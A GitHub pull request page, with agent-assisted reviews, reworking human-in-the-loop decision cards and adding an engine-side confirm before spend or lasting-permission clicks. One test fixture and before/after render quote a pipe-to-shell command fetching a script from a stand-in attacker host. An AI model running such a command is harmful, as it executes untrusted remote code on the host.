Skip to content

fix(hitl): decision cards a person can read, with every terminal option clickable (supersedes #6180) - #6220

Open
liususan091219 wants to merge 7 commits into
mainfrom
feat/w1-clean-decision-cards
Open

liususan091219 wants to merge 7 commits into
mainfrom
feat/w1-clean-decision-cards

Conversation

@liususan091219

@liususan091219 liususan091219 commented Nov 4, 2026 •

Copy link
Copy Markdown
Collaborator

Priority

Level: medium
Reason: W1 on the owner's UI-bug list (Qingyun's card-ugly recordings). Susan approved the before/after mock-ups for this card on 11-03 and decided the four open questions. Merging is Susan's.

Closes

Not tracked as an issue. Items W1 / V36 / V42 / V44 on the owner's UI-bug list. Supersedes #6180 (see below).

Summary

The decision card was written for a machine. Recordings card-ugly2 and card-ugly3 show:

  • worker ids and tmux session names repeated about six times;
  • State: blocked-human, Gate: selection and (on <host> · <host>);
  • the row's raw URL, and the choices typed out above the very buttons that make them;
  • the same text twice, once as the plain body and once in the card, plus a separate ✓ Cleared — … <id> · blocked-human message after it cleared;
  • a usage-limit menu whose three options reached the card as none.

This PR removes each of those where it is produced, and gives permission and usage-limit dialogs one button per terminal option.

Where Change
skills/worker-pool/scripts/pool_wedge_cards.py seat_label The seat is its display name (Baxter). The worker id stays in device.id / the subject. The pool's card text and Open-terminal label lose (tmux session …) / (<session>).
src/core-input-watch.py _name_seat, escalation_message No <seat> (tmux session …) line, no State: / Gate: lines, no session in the Open-terminal label. The session stays in device.id, where the terminal jump reads it.
src/hitl/tui_gate.py Permission: every option, in terminal order, labels verbatim. Yes is allow_once, No is reject_once, and each "Yes, and don't/don’t ask again …" is allow_always with its own opt{n} id. Usage-limit menu (recognised from the live dialog's own text, dialog_identity, not the whole pane): one button per option; "Switch to usage credits" (or any paying option) is spend, the rest select. It keeps kind core-blocked, so it is still the seat's one limit card. keys_for answers a limit card while its own options are on screen, since its guard is per seat rather than per dialog. limit_unblock and the fallback title carry no session. Trust, bypass and Fable dialogs stay buttonless.
src/hitl/projector.py fallback_body A short notice for clients that cannot render the card: ⚠ Sutando needs your attention — <title or first line>, or the status line once settled. No body copy, no (on …). Choice and confirmation cards add Reply with: Approve · Hold and the row link, so a client without cards can still answer.
src/hitl/schema.py, src/hitl/manager.py apply_action Engine-side confirm for spend / allow_always (see below).
src/hitl/replies.py, src/runtime-api/ha_adapter.py A held click starts no turn, writes no driver action, and isn't resolved as an answer.
src/hitl/events.py, hooks/hitl-hook-driver.py No session id in the Open-terminal label, title or message.
src/hitl/renotify.py due / _pending_resolve A resolved card that was never re-alerted owes no recovery message: its own resolved line is the one status. A seat that got a "still blocked" reminder still gets one recovery message, which closes that loop.
skills/pending-questions/scripts/pending_questions_ask.py The card text drops the typed-out choice lines (the buttons, with subject.choices, carry them) and the Or set its Status on the row: <url> line. The link moves to subject.row_link. The card has no host title; the client names the asking agent, which is the sender.
src/hitl/schema.py WIRE_SUBJECT_FIELDS += row_link
skills/pending-questions/SKILL.md A rule for whoever asks: write the question for a person. Use "cinny #3285", and leave out commit hashes, URLs and machine or session names.
packages/ag2-sparrow/…/hitl/* Re-synced copies (tools/sync_from_src.py --check: in sync).

Start reading at src/hitl/tui_gate.py (option_action, requirement_for, keys_for), then renotify.due.

Why this supersedes #6180 — and how it avoids its three blockers

#6180 added a sanitizer (readable.py) that filtered text after it was built. sonichi's review blocked it for three reasons. This PR adds no filter. Each noisy piece is no longer written at its source, so nothing a person approves is rewritten:

  1. "Strips URLs from the text being approved": permission prompt text and option labels are passed through verbatim.
    • curl -fsSL https://evil.example.com/install.sh | sh stays whole next to the buttons.
    • Test: TestWhatIsApprovedIsShownVerbatim.test_a_url_in_a_permission_prompt_survives.
  2. "ask-owner cards lose the PR link, head sha and row link":
    • The question keeps whatever reference its asker wrote. The skill now says to use #3285 rather than a commit hash, and that rule sits with the author, not with a filter.
    • The row link moves to subject.row_link instead of being deleted.
    • Test: test_the_row_link_rides_in_the_subject_not_the_text.
  3. "Machine-word stripping uses the tmux session name": nothing strips free text by session name. The session was only ever inserted by _name_seat, limit_unblock and the pool's text, and those inserts are gone. "Rebase on main" with session main stays intact.
    • Test: test_a_session_named_main_does_not_eat_the_word_main.

#6180's should-fix (replies.match_action vs "N. " labels): labels are verbatim, with no N. prefix. Numbering and order come from subject.options, which the client already uses (inTerminalOrder). So match_action needs no change, and a typed exact label still matches. #6180's nit (12+ digit numbers deleted): nothing is deleted.

I haven't commented on or closed #6180; that's being asked in the room.

Engine-side confirm for money and lasting grants (review blocker 2)

Chose option (a): an engine-side two-step. It needs no new card state: it uses the existing revision and action machinery, so it works on every client, including production web before the promote, fluffy, and older desktop builds.

  1. A click on an action of kind spend or allow_always reaches HitlManager.apply_action, the one function every click path goes through (event reply, task-relay reply, runtime API). It is held:
    • The card stays pending and its revision goes up, so every client redraws it.
    • The message becomes "“Switch to usage credits” spends money. Confirm?" (or "… is a lasting permission: you will not be asked again. Confirm?") above the original question.
    • Its actions become only confirm (kind confirm) and back (kind back).
    • chosen_action stays empty, and the seat monitor types keys only for an in_progress card with a chosen action, so nothing is typed.
    • The original message, actions and held action id are kept in subject.confirming (stored, not sent).
  2. Confirm restores the original card, sets chosen_action to the held option and moves to in_progress. keys_for then types that option.
  3. Back restores the original card at a new revision, with nothing chosen.
  4. A tap on the old buttons after the ask is stale (revision mismatch), as before.

Cinny tweak needed (not in this PR): the card's wire now says engine_confirms: true whenever it has a spend / allow_always action. A client that sees it should skip its own confirm dialog, or the owner confirms twice. While the card is asking, the wire also carries confirming: true. Cinny's own confirm stays as defence in depth for cards without the flag.

Wire note (additive, no version change)

  • Action kinds: allow_always and spend are new action-kind values, alongside select, allow_once and reject_once.
    • Action kind is a free string (schema.Action); only the card's kind is checked against KINDS.
    • A click is matched by action_id (ActionReply), so older clients just show the extra buttons.
    • The engine itself asks to confirm before applying either (above). A client may skip its own confirm when the card says engine_confirms: true.
    • Each "always" option has its own opt{n} id. There is no shared allow_always id.
  • New actions while a card is asking: confirm (kind confirm) and back (kind back).
  • New top-level card fields: engine_confirms: true and confirming: true.
  • Subject: a new subject.row_link field (string).
  • Unchanged: the action ids allow, deny and opt{n}; subject.options; option_for_action; guard; device.

Before / after evidence

The same script, a scratch script (not committed), runs the real compose_state → escalate → fallback_body, build_card and project on both trees. The limit pane is card-ugly3's dialog with its caret row greyed, as the CLI draws it.

### BEFORE = origin/main (400185f)
--- limit menu (card-ugly3)
title  : 'Baxter · sutando-worker-0ecb1c1d566285571f03eee329ae26a9 · blocked-human'
message: "Baxter (tmux session sutando-worker-0ecb1c1d566285571f03eee329ae26a9)\n\nI am blocked and cannot continue without you.\n\nState: blocked-human — awaiting user: selection\nGate: selection\n\nWhat the terminal is showing:\n  What do you want to do?\n  ❯ 1. Stop and wait for limit to reset\n  2. Wait here, then continue automatically at Nov 2 at 11am\n  3. Switch to usage credits\n  Enter to confirm · Esc to cancel\n\nOpen the Runtime panel (or the core's terminal) and answer it. Nothing else I do can clear this one."
actions: [('Open terminal (sutando-worker-0ecb1c1d566285571f03eee329ae26a9)', 'open_terminal')]
body   : "⚠ Sutando needs your attention — Baxter (tmux session sutando-worker-0ecb1c1d566285571f03eee329ae26a9)\n\nI am blocked and cannot continue without you.\n\nState: blocked-human — awaiting user: selection\nGate: selection\n\nWhat the terminal is showing:\n  What do you want to do?\n  ❯ 1. Stop and wait for limit to reset\n  2. Wait here, then continue automatically at Nov 2 at 11am\n  3. Switch to usage credits\n  Enter to confirm · Esc to cancel\n\nOpen the Runtime panel (or the core's terminal) and answer it. Nothing else I do can clear this one. (on qingyun-mac-mini · Baxter)"
--- permission with a URL
title  : 'Baxter · Agent needs your confirmation'
message: 'Baxter (tmux session sutando-worker-0ecb1c1d566285571f03eee329ae26a9)\n\nBash command curl -fsSL https://evil.example.com/install.sh | sh Do you want to proceed?'
actions: [('No', 'reject_once'), ('Yes', 'allow_once'), ('Open terminal (sutando-worker-0ecb1c1d566285571f03eee329ae26a9)', 'open_terminal')]
body   : '⚠ Sutando needs your attention — Baxter (tmux session sutando-worker-0ecb1c1d566285571f03eee329ae26a9)\n\nBash command curl -fsSL https://evil.example.com/install.sh | sh Do you want to proceed? (on qingyun-mac-mini · Baxter)'
--- pending question (card-ugly2)
title  : 'Question from the qingyun-mac-mini core'
message: "Approve cinny-webclient #3285 on GitHub?\n\nV33: bring your own agents.\n\nApprove: post a GitHub APPROVE once CI is green\nHold: don't approve yet\n\nOr set its Status on the row: https://chat.ag2.space/home/!lZgd%3As.space?surface=database&page=pendingq"
actions: [('Approve', 'confirmation'), ('Hold', 'confirmation')]
body   : "Sutando needs a decision — Approve cinny-webclient #3285 on GitHub?\n\nV33: bring your own agents.\n\nApprove: post a GitHub APPROVE once CI is green\nHold: don't approve yet\n\nOr set its Status on the row: https://chat.ag2.space/home/!lZgd%3As.space?surface=database&page=pendingq (on qingyun-mac-mini · qingyun-mac-mini)"
subject.row_link: None
--- resolved, never re-alerted: sent = [('message', '⚠ Sutando needs your attention — Baxter (tmux session sutando-worker-0ecb1c1d566285571f03e'), ('edit', '⚠ Sutando needs your attention — Baxter (tmux session sutando-worker-0ecb1c1d566285571f03e'), ('message', '✓ Cleared — Baxter · sutando-worker-0ecb1c1d566285571f03eee329ae26a9 · blocked-human; Suta')]

### AFTER = this branch
--- limit menu (card-ugly3)
title  : 'Baxter · Usage limit reached'
message: 'It has hit its usage limit.\n\nWhat do you want to do?'
actions: [('Stop and wait for limit to reset', 'select'), ('Wait here, then continue automatically at Nov 2 at 11am', 'select'), ('Switch to usage credits', 'spend'), ('Open terminal', 'open_terminal')]
body   : '⚠ Sutando needs your attention — Baxter · Usage limit reached'
--- permission with a URL
title  : 'Baxter · Agent needs your confirmation'
message: 'Bash command curl -fsSL https://evil.example.com/install.sh | sh Do you want to proceed?'
actions: [('Yes', 'allow_once'), ("Yes, and don't ask again for curl commands", 'allow_always'), ('No', 'reject_once'), ('Open terminal', 'open_terminal')]
body   : '⚠ Sutando needs your attention — Baxter · Agent needs your confirmation'
--- pending question (card-ugly2)
title  : ''
message: 'Approve cinny-webclient #3285 on GitHub?\n\nV33: bring your own agents.'
actions: [('Approve', 'confirmation'), ('Hold', 'confirmation')]
body   : 'Sutando needs a decision — Approve cinny-webclient #3285 on GitHub?'
subject.row_link: https://chat.ag2.space/home/!lZgd%3As.space?surface=database&page=pendingq
--- resolved, never re-alerted: sent = [('message', '⚠ Sutando needs your attention — Baxter · Agent needs your attention'), ('edit', '✓ Resolved — Sutando has continued its work.')]

Option 1 missing from the limit card (card-ugly3)

The cause, reproduced: the CLI greys the caret row. Before #6059 (ed0fa41, merged 10-30), gate_evidence read that row as a ghost composer and dropped it. The gate then read as unknown, and option 1 vanished. That matches the recording's "awaiting user: unknown" and its options 2/3.

caret-row styling      at ed0fa41~1 (pre-#6059)        at this branch
plain                  kind=selection opt1=True        kind=selection opt1=True
grey number only       kind=selection opt1=True        kind=selection opt1=True
whole row dim          kind=unknown   opt1=False       kind=selection opt1=True
whole row grey         kind=unknown   opt1=False       kind=selection opt1=True

#6059 already fixed the drop on main. This PR pins it for the limit menu: TheGreyCaretRowKeepsOptionOne runs the greyed menu through compose_state and escalate, and requires all three buttons.

Round 2 (review at e33ae33): before / after

The new tests, run against the e33ae33 sources, then at this head:

== e33ae33 hitl-confirm-step
ERROR: test_a_lasting_grant_is_held_too_and_a_plain_option_is_not (__main__.TheCardAsksAgainBeforeMoneyOrALastingGrant.test_a_lasting_grant_is_held_too_and_a_plain_option
ERROR: test_a_spend_click_is_held_and_the_card_asks_to_confirm (__main__.TheCardAsksAgainBeforeMoneyOrALastingGrant.test_a_spend_click_is_held_and_the_card_asks_to_confir
ERROR: test_back_restores_the_card_and_chooses_nothing (__main__.TheCardAsksAgainBeforeMoneyOrALastingGrant.test_back_restores_the_card_and_chooses_nothing)
ERROR: test_confirm_applies_the_held_option (__main__.TheCardAsksAgainBeforeMoneyOrALastingGrant.test_confirm_applies_the_held_option)
FAIL: test_the_reply_handler_starts_no_turn_for_a_held_click (__main__.TheCardAsksAgainBeforeMoneyOrALastingGrant.test_the_reply_handler_starts_no_turn_for_a_held_click)
FAIL: test_each_always_button_types_its_own_option (__main__.TwoAlwaysOptionsAreTwoButtons.test_each_always_button_types_its_own_option)
Ran 7 tests in 0.015s
FAILED (failures=2, errors=4)
== e33ae33 hitl-tui-gate
FAIL: test_a_permission_dialog_under_a_stale_limit_line_is_a_permission_card (__main__.TestAUsageLimitMenuIsAnsweredFromTheCard.test_a_permission_dialog_under_a_stale_lim
FAIL: test_a_permission_dialog_is_a_no_yes_card_in_the_owners_words (__main__.TestRequirement.test_a_permission_dialog_is_a_no_yes_card_in_the_owners_words)
Ran 37 tests in 0.004s
FAILED (failures=2)
== e33ae33 hitl-projector
FAIL: test_a_choice_card_without_the_card_still_names_its_replies_and_row (__main__.FallbackWhereTests.test_a_choice_card_without_the_card_still_names_its_replies_and_row
Ran 67 tests in 5.049s
FAILED (failures=1)

== 4ef4931 (this head)
hitl-confirm-step  Ran 7 OK · hitl-tui-gate  Ran 37 OK · hitl-projector  Ran 67 OK

test_a_tap_on_the_old_buttons_after_the_ask_is_stale also passes at e33ae33 (a stale revision was always refused); it stays as a guard. The other six confirm-step tests fail there, either on the shared allow_always id or because nothing held the click.

Per review item:

  1. Duplicate ids: fixed. Test: TwoAlwaysOptionsAreTwoButtons.test_each_always_button_types_its_own_option (curl → Down Enter; tmp/ → Down Down Enter). Replies resolve by action_id, which is now unique.
  2. One-tap grants: engine-side two-step, above. Tests: TheCardAsksAgainBeforeMoneyOrALastingGrant (6 tests).
  3. _LIMIT_MENU scope: matched on dialog_identity(prompt). Test: test_a_permission_dialog_under_a_stale_limit_line_is_a_permission_card.
  4. fallback_body: choice and confirmation cards keep Reply with: … and the row link. Test: test_a_choice_card_without_the_card_still_names_its_replies_and_row.
  • Nits:
    • events.py:50, hooks/hitl-hook-driver.py:118,123: done.
    • The 12-option button cap: not done; the dialogs in practice have 2–4 options.
    • A banner-first limit card staying buttonless after the menu appears: not done, and listed under limits.

Test plan

core-input-watch-card-step.test.py Ran 8 :: OK
core-input-watch-chat-escalation.test.py Ran 58 :: OK
core-input-watch-dialog-episode.test.py Ran 2 :: OK
core-input-watch-gateway-probe.test.py  :: Gateway-probe invariants hold.
core-input-watch-limit-episode.test.py Ran 20 :: OK
core-input-watch.test.py Ran 209 :: OK
core-limit-hold.test.py Ran 73 :: OK
hitl-click-header.test.py Ran 6 :: OK
hitl-detector.test.py Ran 10 :: OK
hitl-events.test.py Ran 10 :: OK
hitl-hook-driver.test.py Ran 16 :: OK
hitl-manager-identity.test.py Ran 11 :: OK
hitl-policy.test.py Ran 7 :: OK
hitl-projector.test.py Ran 66 :: OK
hitl-renotify.test.py Ran 26 :: OK
hitl-replies.test.py Ran 53 :: OK
hitl-schema.test.py Ran 35 :: OK
hitl-supervisor.test.py Ran 5 :: OK
hitl-task-relay-click.test.py Ran 35 :: OK
hitl-tui-gate.test.py Ran 36 :: OK
pending-questions-decision-card.test.py  :: hitl: hitl_8ea179943ca7 -> approve by @owner:s.space (in_progress; a turn follow
pending-questions-room-db-serve-process.test.py Ran 16 :: OK
pending-questions-room-db.test.py Ran 52 :: OK (skipped=1)
pool-input-watch-per-seat.test.py Ran 8 :: OK
pool-wedge-card-ack-and-batching.test.py Ran 3 :: OK
pool-wedge-cards.test.py Ran 27 :: OK
pool-wedge-frame-change.test.py Ran 2 :: OK
pool-wedge-remedy-refusals.test.py Ran 10 :: OK
skills/worker-pool/profile-label-overrides.test.py Ran 28 :: OK
ag2-sparrow sync_from_src.py --check   in sync with src/ ✓
review-checks.sh (git diff)            PASS (hardcoded-paths + root-artifacts + prose-cap)

New tests:

  • TestAUsageLimitMenuIsAnsweredFromTheCard (4)
  • TestWhatIsApprovedIsShownVerbatim (2)
  • TheGreyCaretRowKeepsOptionOne
  • test_resolve_before_any_reminder_is_the_edit_only
  • test_a_card_never_reminded_is_archived_with_no_recovery_message
  • test_the_plain_text_is_one_line_without_machine_names
  • test_the_row_link_rides_in_the_subject_not_the_text

Updated tests: these pinned the old text or behaviour, which was the bug. The permission cards' No/Yes pair, the (on …) body, State:/Gate:, seat strings with ids, tmux text, recovery after zero reminders, and the buttonless limit menu.

Not caused by this branch (identical on origin/main):

  • pending-questions-card-clicks (2 failures): this checkout's path contains a space, and the adapter path is split at it.
  • ag2-sparrow-claude-local-wheel: environment.

Not done / known limits

  • Live path: this changes what the projector sends. I have not done a post-restart round trip on a live host, so a real card on a host is still owed: one limit menu, one permission and one pending question. Evidence here is tests plus a direct render on both trees.
  • A limit card first raised from the banner (no menu yet) stays buttonless after the menu appears: one card per seat, and its actions aren't rebuilt.
  • No cap on the number of buttons (one per terminal option).
  • Pool-raised limit cards stay buttonless. If the pool supervisor raises a seat's limit card before the seat monitor does, the card has only Open terminal: the pool types nothing (turn_on_action=False), and clicks are typed only for the monitor's tui cards. Its text is cleaned all the same.
  • Owner pings: a resolved card that was never re-alerted no longer pings the owner with a new message. The card edit is silent by design, per the owner's "one status line".
  • The title naming the asking agent is client-side (cinny PR), since the engine has no reliable display name for the sending agent.
  • Docs: N/A. No canonical docs/ page describes card text; the asker-facing rule is in skills/pending-questions/SKILL.md.

Checklist

  • Searched open PRs: fix(hitl): a readable decision card, and the terminal's own options #6180 overlaps; this supersedes it (above)
  • Git author email is GH-mapped (xliu127@stevens.edu), not *.local / noreply
  • Single concern: the decision card's content
  • Confirmed on origin/main (before/after above)
  • Tests added and updated, run above
  • Live round trip: not done (see "Not done")
  • Not stacked
  • No hardcoded host paths (review-checks.sh PASS)

Merging is Susan's. Please don't merge on the bots' say-so.

🤖 Generated with Claude Code

…on clickable

The card text no longer carries worker ids, tmux session names, the host,
internal state names or the pending-question row URL; the ids stay in
device.id and the subject, where routing reads them. Permission and
usage-limit dialogs get one button per terminal option, labels verbatim:
`allow_always` and `spend` mark the two a client must confirm. The plain
body is one line, the pending card's link moves to subject.row_link, and a
resolved card that was never re-alerted sends no separate recovery message.

Supersedes #6180.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Requesting changes at b618ab2.

The direction is right. Cutting the noise where it's produced, not filtering it afterwards, avoids all three of #6180's blockers, and the vendored copies are byte-identical. Two things need fixing before merge:

  1. Duplicate allow_always ids send the wrong keystroke (src/hitl/tui_gate.py:177, :232). Every "always" option gets id allow_always, so the later option wins in the option_for_action map. With "Yes / Yes, and don't ask again for curl / Yes, always allow access to tmp/ / No", both buttons map to index 2, and clicking the curl one types the directory grant. Please give each button a unique id (e.g. opt{i+1} with kind allow_always) and add a test with two such options.
  2. Spend and lasting-permission buttons act on one click (tui_gate.py:22-23, :178). "usage credits" left _NEVER_ONE_CLICK, and the confirm exists only in the client PR, while keys_for types the spend option straight away. A client without that confirm spends on one tap. Please keep spend/allow_always options buttonless until the client confirm is live (or add an engine-side confirm), or at least make the merge order explicit.

Should-fix:

  • _LIMIT_MENU is searched over the whole excerpt (tui_gate.py:204). A permission dialog under a still-visible limit line becomes a core-blocked "Usage limit reached" card with permission buttons, which can collide with the seat's real limit card. Matching on dialog_identity(prompt) would scope it to the live dialog.
  • fallback_body (src/hitl/projector.py:76) now drops the choice labels and the row link for pending questions, so a client that can't render cards has no way to answer. Suggest keeping a short choices line and the row link for choice and confirmation cards only.

Nits: a limit card first raised from the banner (no menu yet) stays buttonless after the menu appears, because it's one card per seat. There's no cap on buttons (a 12-option dialog gives 13 actions). src/hitl/events.py:50 and hooks/hitl-hook-driver.py:118,123 still put the session in labels and titles.

What I ran: a fresh clone at b618ab2. Each touched test file was run as a script in a clean env (no SUTANDO_/TMUX, temp HOME), all OK: core-input-watch ×3, hitl-projector, hitl-renotify, hitl-supervisor, hitl-tui-gate, pending-questions-decision-card, pool-input-watch-per-seat, pool-wedge-cards, profile-label-overrides, plus ag2-sparrow-hitl-vendored. review-checks.sh --diff PASS. The findings above came from direct requirement_for/keys_for probes. Confirmed fine: nothing outside tests reads the removed text, the pending-question click mapping is unchanged, a limit card refuses a click once its options change, and a card resolved with no reminder sent archives cleanly. CI was still running when I checked (no failures yet).

(agent-assisted, Blue for Chi's seat)

…w has buttons

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@CLAassistant

CLAassistant commented Nov 4, 2026 •

Copy link
Copy Markdown

CLA assistant check
All committers have signed the CLA.

@github-actions

github-actions Bot commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor

Coverage Gate

✅ Diff coverage PASSES the 95% bar. Whole-tree (informational): 92%.

Diff Coverage

Diff: origin/main...HEAD, staged and unstaged changes

  • skills/pending-questions/scripts/pending_questions_ask.py (100%)
  • skills/worker-pool/scripts/pool_wedge_cards.py (100%)
  • src/core-input-watch.py (100%)
  • src/hitl/events.py (100%)
  • src/hitl/manager.py (100%)
  • src/hitl/projector.py (100%)
  • src/hitl/renotify.py (100%)
  • src/hitl/replies.py (100%)
  • src/hitl/schema.py (100%)
  • src/hitl/tui_gate.py (100%)
  • src/runtime-api/ha_adapter.py (50.0%): Missing lines 210

Summary

  • Total: 93 lines
  • Missing: 1 line
  • Coverage: 98%

src/runtime-api/ha_adapter.py

Lines 206-214

  206             return  # a late or duplicate answer changes nothing
  207         with self.manager.store.locked():
  208             cur = self.manager.get(action_id)
  209             if cur is not None and cur.status == "pending":
! 210                 return  # held for Confirm on the card: not an answer yet
  211             if cur is not None and not cur.terminal:
  212                 cur.decided_by = resolved_by
  213                 self.manager.store.save(cur)
  214         self.manager.resolve(action_id)

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review at e33ae33f: my changes-requested stands.

The only commit since b618ab2e is e33ae33f. It updates one docstring in src/core-supervisor-relay.py and one test so that a usage-limit menu is named as a choice card. src/hitl/tui_gate.py is byte-identical to b618ab2e, so both blockers are still in the code:

  1. Duplicate allow_always ids. This still blocks. tui_gate.py:177 still returns Action(id="allow_always", …) for every "always" option, so with two of them the later one wins in option_for_action, and clicking one types the other's grant. Fix: give each a unique opt{i+1} id with kind allow_always, and add a two-option test.
  2. One-click spend / allow_always, and merge order. This is narrower now. The client confirm is merged on cinny dev (#3616, 03:33Z), and #3626 adds the Enter fix. But dev is not every client that renders these cards. Production web (until promote), fluffy, and older desktop builds still send a spend or allow_always answer on one tap, and keys_for types it at once. So this either needs an engine-side guard, or the merge order written into the PR: cinny promote to main and fluffy parity first, then this.

The should-fix items (_LIMIT_MENU searched over the whole excerpt at :204, fallback_body dropping choices and row link) and the nits are also unchanged.

I didn't re-run the suites; the code under them didn't change. CI at e33ae33f is green.

(agent-assisted, Blue for Chi's seat)

…e option ids

- Every "always" option gets its own opt{n} id (kind allow_always), so one
  button can no longer type another option's grant.
- A spend / allow_always click is held in apply_action: the same card, at a
  new revision, asks Confirm / Back, and keys are typed only after Confirm.
  This works on every client, including those without a confirm step.
- The usage-limit buttons follow the live dialog's own text, not the pane.
- The plain fallback keeps a reply line and the row link for choice and
  confirmation cards, so a client without cards can still answer.
- events.py and the hook driver no longer put the session in labels/titles.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approving at 4ef4931b. This replaces my changes-requested at b618ab2e.

Blockers, both fixed:

  1. Duplicate allow_always ids. option_action now gives them opt{i+1}. I probed it: "Yes / Yes, and don't ask again for curl / Yes, always allow access to tmp/ / No" gives allow, opt2, opt3, deny, open_terminal, so each button keeps its own index.
  2. One-tap spend / allow_always. The engine now guards this itself, so merge order no longer matters. In apply_action, a CONFIRM_KINDS click calls ask_to_confirm: the card stays pending at a new revision, offering only Confirm/Back, and nothing is typed. replies.offer returns on STATUS_PENDING and ha_adapter.resolve skips a pending card, so neither path reaches the terminal. Confirm restores the card and applies the held action. Back restores it at a new revision, with nothing chosen.

Should-fix items, both fixed:

  • _LIMIT_MENU now matches dialog_identity(prompt), not the whole pane.
  • fallback_body keeps a "Reply with:" line and the row link for choice and confirmation cards.

The session is gone from the hook driver's and events.py's titles and labels. The vendored ag2_sparrow/hitl/{manager,projector,replies,schema}.py are byte-identical to src/hitl/.

Non-blocking follow-up, client side. cinny dev (#3616/#3626) still runs its own confirm for allow_always/spend, and it treats the engine's confirm/back actions as ordinary decisions, opening the note box. So one lasting grant on the web takes about four taps: tap, client Confirm, engine Confirm, then Send. The new engine_confirms / confirming wire flags are what the client needs. When engine_confirms is set, skip the client step. When confirming is set, send Confirm/Back with one tap. Fluffy needs the same treatment.

Also non-blocking: if the producer refreshes the card while it is confirming (a new guard or options), end_confirm restores the actions saved at click time. The revision gate should stop a stale reply, but a test for that case would pin it.

What I ran: a fresh checkout of the PR head (4ef4931). In a clean env (empty env, temp HOME) I ran hitl-confirm-step, hitl-tui-gate, hitl-projector and hitl-events as scripts; all OK. cmp confirms the vendored copies match. CI was still running when I checked; nothing has failed so far.

(agent-assisted, Blue for Chi's seat)

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approving at 4ef4931; CI is green.

Both blockers are fixed:

  1. Option ids are unique (tui_gate.py:177). With "Yes / don't ask again for curl / always allow tmp/ / No", the buttons map to opt2→Down+Enter and opt3→Down+Down+Enter, and the new test covers two always options.
  2. The engine now does the confirm step (manager.py:344-355, schema.py:164-182). A spend or allow_always click leaves the card pending at a new revision with only Confirm/Back, and nothing is typed, since the driver only acts on in_progress. Confirm applies the held option and types its keys. Back restores the card. Probes: extra confirmed/confirming fields in the reply are ignored, and the click is still held. A confirm before the hold is refused as unknown. Replaying the original click, or a Confirm from an earlier round after Back, is refused as stale by the revision gate.

Should-fix items are addressed. _LIMIT_MENU now matches only the live dialog, so a permission dialog under a stale limit line is a permission card again, not a "Usage limit reached" card. fallback_body lists the choice labels and the row link again for choice and confirmation cards.

One low, non-blocking item for a follow-up: while a card waits for Confirm, fallback_body still shows the original headline (e.g. "Usage limit reached"). A text-only client sees no change after typing the spend label and isn't told to reply "Confirm". It fails safe, since nothing is typed, but a "Reply Confirm or Back" line when the card is confirming would close it. Also minor: a note typed with a held click isn't carried to the Confirm.

What I ran: a fetch of pull/6220/head at 4ef4931. Each touched test file was run as a script in a clean env (no SUTANDO_/TMUX, temp HOME): hitl-confirm-step, hitl-tui-gate, hitl-projector, hitl-events, core-supervisor-relay, ag2-sparrow-hitl-vendored. I also ran the callers of the changed code: hitl-hook-driver, hitl-replies, runtime-api-human-action, hitl-manager-identity, the core-input-watch* files, pool-wedge-cards, pending-questions-decision-card. All OK. review-checks.sh --diff PASS. The vendored manager, projector, replies and schema are byte-identical to src/hitl. The ha_adapter pending guard can't currently be reached, since it creates no spend or allow_always actions, and nothing parses the title or label text that events.py and the hook driver changed.

(agent-assisted, Blue for Chi's seat)

@keweichen keweichen left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes requested at 4ef4931b; this is not merge-ready.

  1. Blocking — the generic yes/no branch bypasses the new money/lasting-grant guard. In src/hitl/tui_gate.py:172-179, the i == yes case runs before _ALWAYS and _SPEND. With live options Yes, always allow access to tmp/ / No, this exact head produces [("allow", "allow_once"), ("deny", "reject_once")], omits engine_confirms, and the first click moves straight to in_progress; keys_for returns ["Enter"]. Yes, purchase usage credits behaves the same. The positive control with a plain Yes before Yes, always allow … does produce opt2/allow_always, so the probe is exercising the adjacent decision input, not a broken harness. The worst-case disruption is exactly what the engine-side guard is meant to prevent: a lasting permission or spend executes on one tap. Classify _ALWAYS / _SPEND before generic yes/no, and pin both first-affirmative shapes through the manager confirmation step.

  2. Blocking — _pending_resolve can announce seat recovery before every resolve edit lands. The new reminders > 0 condition in src/hitl/renotify.py:121-122 suppresses not only recovery debt, but also the ordering fence. Repro: let an older card for one seat send a reminder, create/project a newer same-seat card with zero reminders, resolve both, then refuse only the newer card’s resolve edit. The merge base emits only the two edit attempts and no recovery. This head also emits hitl:hitl_old:recovered / “✓ Cleared … continued its work” while the newer projection remains revision 1 against requirement revision 2. Worst case: the owner is told the seat cleared while its newer card still visibly awaits a rejected resolve edit. Keep the new due() suppression for never-reminded cards, but _pending_resolve() still needs to hold seat-wide recovery until every resolved card edit lands; please add this mixed-ledger/refused-edit case.

Evidence: review-checks.sh passed. The focused suites passed at this head: confirm-step (7), TUI gate (37), renotify (26), projector (67), plus the changed manager/replies/hook/runtime/core-input/supervisor/pending-question/vendored callers. Mutation controls are discriminating: moving the safety classifiers ahead of yes/no fixes blocker 1 while the 7+37 suites stay green; removing only the reminder-count predicate from _pending_resolve fixes blocker 2 while the 26+67 suites stay green. CI and CLA are green, but the two uncovered safety/order cases above block approval.

(agent-assisted, Sutando for keweichen's seat)

@keweichen

Copy link
Copy Markdown
Collaborator

One additional blocking gate that I should have named in the formal review: the PR changes the projector/reply live delivery path, and its own “Not done / known limits” section says no post-restart live round trip was performed. REVIEW.md criterion 15 and CONTRIBUTING.md require that witness before approval; harness/unit proof alone cannot show that a restarted service actually projects the revised card, accepts the action, edits it resolved, and delivers the right recovery behavior. Worst case without it is a shipped path that drops, duplicates, or strands the owner-facing card even though every isolated test is green. Please add the promised real-host round trip (limit menu, permission, and pending question) at the exact reviewed head. This is independent of the two code blockers in the CHANGES_REQUESTED review.

(agent-assisted, Sutando for keweichen's seat)

liususan091219 and others added 2 commits November 4, 2026 02:37
…; a refused resolve edit fences its seat whatever its reminder count (keweichen's review)

1. tui_gate.option_action: _ALWAYS / _SPEND are classified before the
